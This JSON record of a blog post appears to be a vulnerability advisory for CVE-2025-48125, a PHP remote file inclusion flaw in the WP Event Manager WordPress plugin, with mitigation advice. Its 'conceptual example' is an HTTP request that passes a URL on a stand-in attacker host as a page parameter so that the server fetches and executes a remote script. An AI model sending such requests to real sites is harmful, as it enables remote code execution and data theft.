{"id":54014,"date":"2025-06-22T11:15:51","date_gmt":"2025-06-22T11:15:51","guid":{"rendered":""},"modified":"2025-09-07T11:38:33","modified_gmt":"2025-09-07T17:38:33","slug":"cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/","title":{"rendered":"<strong>CVE-2025-48125: High-Risk PHP Remote File Inclusion Vulnerability in WP Event Manager<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24768-critical-php-remote-file-inclusion-vulnerability-in-snstheme-nitan\/\"  data-wpil-monitor-id=\"60345\">vulnerabilities can be exploited to include files from remote<\/a> servers, allowing attackers to execute arbitrary code and potentially compromise the system. Given the widespread use of WP Event <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1041-critical-improper-input-validation-vulnerability-in-avaya-call-management-system\/\"  data-wpil-monitor-id=\"60459\">Manager and the severity of this vulnerability<\/a>, it is crucial for administrators and developers to understand and address this issue promptly.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-48125<br \/>\nSeverity: High (CVSS Score 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: System compromise, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64675\">potential data leakage<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2409923407\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>WP Event Manager | Up to 3.1.49<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-34711-improper-uri-validation-vulnerability-in-geoserver\/\"  data-wpil-monitor-id=\"60407\">vulnerability arises due to improper<\/a> control of filenames for include\/require statements in the PHP program of WP Event Manager. An attacker can manipulate these statements to include arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28992-remote-file-inclusion-vulnerability-in-sns-anton-php-program\/\"  data-wpil-monitor-id=\"60342\">PHP files from a remote<\/a> server. The attacker&#8217;s server can deliver malicious scripts, which are then <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36038-remote-code-execution-vulnerability-in-ibm-websphere-application-server\/\"  data-wpil-monitor-id=\"64674\">executed in the context of the application<\/a>. This can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49181-unauthorized-api-endpoint-access-leading-to-denial-of-service-and-data-leakage\/\"  data-wpil-monitor-id=\"61728\">lead to unauthorized<\/a> disclosure, modification, or even total destruction of data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3129847577\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?page=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerablewebsite.com<\/code><\/pre>\n<p>In this request, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5353-local-authenticated-attacker-exploit-in-ivanti-workspace-control\/\"  data-wpil-monitor-id=\"60920\">attacker tries to exploit<\/a> the vulnerability in the &#8220;page&#8221; parameter. The attacker provides a URL (http:\/\/attacker.com\/malicious_script.txt) instead of a page name. If the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49199-application-backup-zips-vulnerability-and-system-compromise\/\"  data-wpil-monitor-id=\"61276\">application is vulnerable<\/a>, it will include and execute the malicious_script.txt hosted on the attacker&#8217;s server.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The most effective way to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"64676\">mitigate this vulnerability<\/a> is by applying the vendor&#8217;s patch. WP Event <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46840-adobe-experience-manager-improper-authorization-vulnerability-leading-to-privilege-escalation\/\"  data-wpil-monitor-id=\"61308\">Manager version 3.1.50 and later have addressed this vulnerability<\/a>. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62192\">requests that appear to exploit this vulnerability<\/a>. However, these measures do not fully address the underlying issue and should be combined with a patch as soon as possible. Regularly updating and patching software remains the best defense against <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-7457-macos-authorization-model-exploit-leading-to-potential-mitm-attacks\/\"  data-wpil-monitor-id=\"80039\">potential exploits<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI vulnerabilities can be exploited to include files from remote servers, allowing attackers to execute arbitrary [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54014","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54014","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=54014"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54014\/revisions"}],"predecessor-version":[{"id":72457,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/54014\/revisions\/72457"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=54014"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=54014"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=54014"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=54014"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=54014"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=54014"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=54014"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=54014"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=54014"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}